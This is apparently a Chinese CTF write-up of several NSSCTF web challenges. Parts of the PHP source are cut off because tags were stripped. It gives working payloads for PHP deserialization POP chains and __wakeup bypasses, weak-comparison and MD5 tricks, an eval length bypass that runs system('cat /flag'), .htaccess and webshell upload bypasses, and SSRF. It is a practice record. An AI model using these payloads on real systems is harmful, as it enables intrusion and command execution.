打开题目,源代码
lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
分析一下,进行反序列化时,会让$a
的值为$lt
然后执行函数,且参数值为$lly
payload
lt;
$a($this->lly);
}
}
$a=new lyh();
echo serialize($a);
?>
打开题目,第一关提示在http头
很明显是使用sql注入中的万能密码ffifdyop
第二关是数组绕过
直接拿库存
x=s1885207154a
y=s1836677006a
绕过后,得到第三关源代码
跟第二关相比变成了强等于,直接数组绕过
wqh[]=1&dsy[]=2
打开题目,发现加到19就会变成-20
F12,web开发者都被办了,尝试查看源代码,得到1.js
的源代码
一看就是base64加密,直接解码
访问,源码
分析一下,提示POST传参,出现call_user_func()
函数
若调用类中的静态方法,则需要传递一个数组作为第一个参数。数组的第一个元素是类名,第二个元素是要调用的静态方法名。
再看看./hint2.php
,提示类是nss2
payload
p[0]=nss2&p[1]=ctf
得到flag
打开题目,源代码
x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
分析一下,关键点在__destruct()
可以查看页面源代码,让x的值为fllllllag.php
绕过__wakeup()
只需要数目加一
payload
打开题目,输入1发现不行,直接打开js
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
if (btoa(flag.value) == 'dGFwY29kZQ==') {
alert("you got hint!!!");
} else {
alert("fuck off !!");
}
})
发现有串奇怪的编码,先base64解码看下hint
发现是敲击码
直接在线网站
去掉空格,得到flag
打开题目,先是提示
打开题目,直接F12查看,发现是MD5
?web=0e215962017
然后就是找找找
提示robots.txt
,访问一下
提示f14g.php
(虽然没有修复文字)
18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
过滤了空格和flag,还限制get上传长度,异或和取反就用不了
payload
?get=eval($_GET['A']);&A=system('cat /flag');
打开题目,源代码
999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
我们一个个分析
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
我们上传的num参数长度小于等于3,且数值大于999999999
我们可以利用科学计数法绕过,即
`?num=1e9` //相当于10的9次方
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
第二个有过滤,我们可以用双写绕过
?str=NSSNSSCTFCTF
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
第三个要求上传的两个参数不等的字符串,且MD5值相同
我们利用弱等于
md5_1=QNKCDZO&md5_2=240610708
源代码
impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
分析一下
fin.fmm()
,因为我们可以给变量赋值从而命令执行lt.__toString()
,将$info
指向fin()
即可lt.__toString()
只需实例化该类,然后通过__destruct()
的echo就行了注:这里dxg()
没有实际作用,然后我们还要绕过__wakeup()
整个过程
lt.__destruct() --> lt.__toString() --> fin.fmm()
payload
impo=new fin();
echo serialize($a);
?>
然后项数加一绕过__wakeup()
,得到flag
打开题目,先上传php一句话木马
发现不行
我们后缀名不能出现
ph
,但是我们上传的一句话木马又必须被解析
所以我们可以.htaccess配置文件攻击
来绕过检测
首先先创建.htaccess文件
SetHandler application/x-httpd-php
(让所有类型的文件都会被当作php处理)
上传此文件,发现被检测了
我们bp抓包,尝试修改MIME绕过可能的检测
.htaccess文件
成功上传
然后我们创建1.jpg
,写入一句话木马
继续上传,发现不行
应该不是文件类型问题,猜测一句话木马被检测了
我们改成js一句话木马(好好好这么玩是吧 )
成功上传
原来藏phpinfo里面,得到flag
打开题目,F12发现存在.NSS.php
,访问,提示用户名为NSS
账号NSS
密码2122693401
登陆进去后,得到源代码
很明显弱等于,我们再利用intval()函数的漏洞
intval()函数用于获取变量的整数值。intval函数有个特性:“直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换
我们上传?num=12345a
即可绕过,得到flag
补上源代码(第一遍做忘记去看了)
?php
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("image/jpeg");
$filetype = $_FILES["file"]["type"];
if(in_array($filetype,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id())){
mkdir("upload/".session_id());
}
$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
$content = file_get_contents($save_path);
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file type!image/jpeg only!!");
}
}else{
echo '
我们先上传最普通的一句话木马1.php
发现提示后台会检测上传文件的MIME类型
我们bp抓包修改MIME为image/jpeg
还是不行,我们尝试添加下文件头绕过
define height 1
#define width 1
这样也能绕过文件头检测
然后发现上传后会显示hacker
这里回到开始的地方查看下源码,发现对检测文件内容是否有php
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
修改一句话木马
=system('cat /flag');
打开题目,F12发现线索
?source=index.php
源代码
loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '
';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '
';
}else{
echo 'Seriously??
';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo 'POWER!!
';
}
}
?>
分析一下
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '
';
}else{
echo 'Seriously??
';
}
在这里看到flag的关键字,提示在/flag.php
这里也不知道能得到什么线索,按照他的来,应该会回显base64编码的值
?image_path=flag.php
解码一下,提示url在127.0.0.1:65500
往前看,发现curl()函数
这个函数接受一个参数 $path,表示要发送请求的URL路径。函数的作用是使用CURL库发送GET请求并返回响应的内容。
告诉我们这么多,目的是进入内网访问127.0.0.1:65500/flag.php
并读取回显。
我们反过来推
$file = $this->curl($this->local.$this->path);
127.0.0.1:65500/
,然后path的值为flag.php
,然后执行curl($path)访问得到flagb=local
,然后superhacker=127.0.0.1:65500/
pop链
Backdoor.__destruct() --> Backdoor.__goodman() --> FileViewer.__call() --> FileViewer.loadfile()
payload
a=$m;
$m->local=$n;
echo (base64_encode(serialize($m)));
?>
注:$n->a=$m;
是为了将$n
对象的属性$a
将引用$m
对象,从而在读取文件的时候能访问正确的URL
再base64解码,得到flag